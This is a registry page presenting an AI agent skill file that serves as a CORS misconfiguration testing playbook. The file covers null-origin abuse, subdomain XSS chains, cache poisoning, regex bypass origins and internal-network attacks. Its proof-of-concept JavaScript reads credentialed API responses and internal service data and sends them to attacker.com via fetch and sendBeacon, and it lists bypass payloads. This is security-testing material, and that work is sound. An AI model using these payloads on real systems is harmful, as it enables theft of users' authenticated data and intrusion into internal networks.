agentleFS
JustineDevsJustineDevs/premortem/.agents/skills/cors-cross-origin-misconfiguration/SKILL.md

cors-cross-origin-misconfiguration

Skill2 starsChanged 5 months agoApache-2.0View on GitHub

CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.

2 other projects use a version of this, 1 of them edited.

Adopted by

Most recently taken up by

The file

We split this skill into the rules it gives an agent

4 rules. About 0 are common, 2 are distinctive, and 2 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈2

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 2

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Test with and without credentials.

    line 43
  2. Distinctive:

    If readable data is sensitive, chain to account or tenant impact.

    line 45
  3. Very specific:

    If the server includes null in its origin allowlist or reflects it:

    line 69
  4. Very specific:

    When the server reflects Origin in Access-Control-Allow-Origin but does not include Vary: Origin in the response, intermediary caches (CDN, …

    line 135

≈ “Common” is an estimate: at least 1 in 5 of the 364,980 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors

AI LOAD INSTRUCTION: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion SCENARIOS.md.

Extended Scenarios

Also load SCENARIOS.md when you need:

  • JSONP hijacking complete attack scenario — watering hole + <script> cross-origin data theft
  • Honeypot de-anonymization via JSONP — use social platform JSONP endpoints to identify anonymous visitors
  • Same-origin policy deep dive — protocol/hostname/port definition, document.domain subdomain relaxation and its security risks
  • CORS vs JSONP technical comparison — methods, error handling, credential behavior, migration path
  • CORS exploitation payloads — reflected origin with credentials: include, null origin via sandboxed iframe
  • Dual-site attack lab pattern — localhost:8981 (target) + localhost:8982 (attacker) testing setup

1. WHEN TO LOAD THIS SKILL

Load when:

  • Responses contain Access-Control-Allow-Origin, Access-Control-Allow-Credentials, or preflight headers
  • A browser-based attack path might read authenticated API responses
  • JSON endpoints appear protected from CSRF but are readable cross-origin

2. HIGH-VALUE MISCONFIGURATION CHECKS

ThemeWhat to Check
wildcard with credentialsAccess-Control-Allow-Origin: * plus credential support or equivalent broken behavior
reflected originserver echoes arbitrary Origin
weak allowlistsuffix, prefix, substring, regex, or mixed-case matching errors
null originacceptance of sandboxed, file, or serialized origins
preflight trustoverbroad methods and headers
internal API exposureadmin or tenant data readable cross-origin

3. QUICK TRIAGE

  1. Send crafted Origin headers and inspect reflection.
  2. Test with and without credentials.
  3. Probe allowlist bypasses using attacker subdomains and parser edge cases.
  4. If readable data is sensitive, chain to account or tenant impact.

4. RELATED ROUTES

  • Session or JSON action abuse: csrf cross site request forgery
  • OAuth token leakage and callback binding: oauth oidc misconfiguration
  • API auth context: api auth and jwt abuse

5. NULL ORIGIN EXPLOITATION

How Origin: null is sent

ContextOrigin Header Value
Sandboxed iframe (<iframe sandbox>)null
data: URI schemenull
file: protocol (local HTML)null
Cross-origin redirect chain (some browsers)null
Serialized data in blob: URL from opaque originnull

Exploitation

If the server includes null in its origin allowlist or reflects it:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>

The sandboxed iframe sends Origin: null → server reflects null → attacker reads credentialed response.


6. SUBDOMAIN XSS → CORS BYPASS CHAIN

Attack flow

1. Target API at api.target.com allows CORS from *.target.com
2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
3. Exploit XSS to make credentialed requests to api.target.com
4. CORS allows the request → attacker reads sensitive API responses

PoC (injected via XSS on blog.target.com)

fetch('https://api.target.com/v1/user/profile', {
    credentials: 'include'
})
.then(r => r.json())
.then(data => {
    navigator.sendBeacon('https://attacker.com/exfil',
        JSON.stringify(data));
});

Why this works

  • blog.target.com is same-site with api.target.com → SameSite cookies sent
  • CORS allowlist includes *.target.com → Access-Control-Allow-Origin: https://blog.target.com
  • Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain

Reconnaissance for this chain

□ Enumerate subdomains (amass, subfinder, crt.sh)
□ Test each for XSS (stored, reflected, DOM)
□ Check if API CORS accepts subdomain origins
□ Subdomain takeover candidates also qualify

7. VARY: ORIGIN CACHING ISSUE

Problem

When the server reflects Origin in Access-Control-Allow-Origin but does not include Vary: Origin in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:

1. Attacker requests: Origin: https://attacker.com
   Response cached with: Access-Control-Allow-Origin: https://attacker.com

2. Victim requests same URL (no Origin or different Origin)
   Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
   → Victim's browser allows attacker.com to read the response (CORS cache poisoning)

Detection

# Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I

# Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I

# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
# → cache poisoned, Vary: Origin is missing

Exploitation

1. Warm the cache: send request with Origin: https://attacker.com
2. Wait for victim to access the same cached URL
3. Cached ACAO header allows attacker.com to read the response
4. Attacker page fetches the URL → reads cached response with credentials

Fix verification

□ Response includes Vary: Origin
□ Cache key includes the Origin header
□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)

8. REGEX BYPASS PATTERNS

Common flawed regex patterns for origin validation:

Intended PatternFlawBypass Origin
^https?://.*\.target\.com$.* matches anything including -https://attacker-target.com
^https?://.*target\.com$Missing anchor after subdomainhttps://nottarget.com, https://attacker.com/.target.com
target\.com (substring match)No anchorshttps://attacker.com?target.com
^https?://(.*\.)?target\.com$Missing port restrictionhttps://target.com.attacker.com:443
^https://[a-z]+\.target\.com$Missing end anchor for pathN/A (but misses subdomains with - or digits)
Backtracking-vulnerable regexReDoShttps://aaaa...aaa.target.com (CPU exhaustion)

Test payloads for origin validation bypass

https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%2F@attacker.com
https://attacker.com#.target.com
https://attacker.com?.target.com
null

Advanced: Unicode normalization bypass

https://target.com → https://ⓣarget.com (Unicode homoglyph)

Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.


9. INTERNAL NETWORK CORS EXPLOITATION

Scenario

An internal-only API (e.g., http://192.168.1.100:8080/admin) is configured with:

Access-Control-Allow-Origin: *

Internal APIs often use wildcard CORS because "only internal users can reach it."

Attack chain

1. Attacker sends victim (internal employee) a link to attacker.com
2. Attacker page JavaScript fetches internal API:
   fetch('http://192.168.1.100:8080/admin/users')
3. CORS allows * → response readable
4. Exfiltrate internal data to attacker server
// On attacker.com — target internal API from victim's browser
const internalAPIs = [
    'http://192.168.1.1/admin/config',
    'http://10.0.0.1:8080/api/users',
    'http://172.16.0.1:9200/_cat/indices',  // Elasticsearch
    'http://localhost:8500/v1/agent/members', // Consul
];

internalAPIs.forEach(url => {
    fetch(url)
        .then(r => r.text())
        .then(data => {
            navigator.sendBeacon('https://attacker.com/exfil',
                JSON.stringify({url, data}));
        })
        .catch(() => {});
});

Port scanning via CORS timing

Even without Access-Control-Allow-Origin: *, the attacker can infer internal service availability:

  • Port open: connection established → CORS error (different timing)
  • Port closed: connection refused → fast error
  • Host down: timeout → slow error

Combined with DNS rebinding

1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
4. JavaScript on the page fetches attacker.com/admin → now hits internal server
5. Same-origin policy satisfied (same domain) → response readable

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.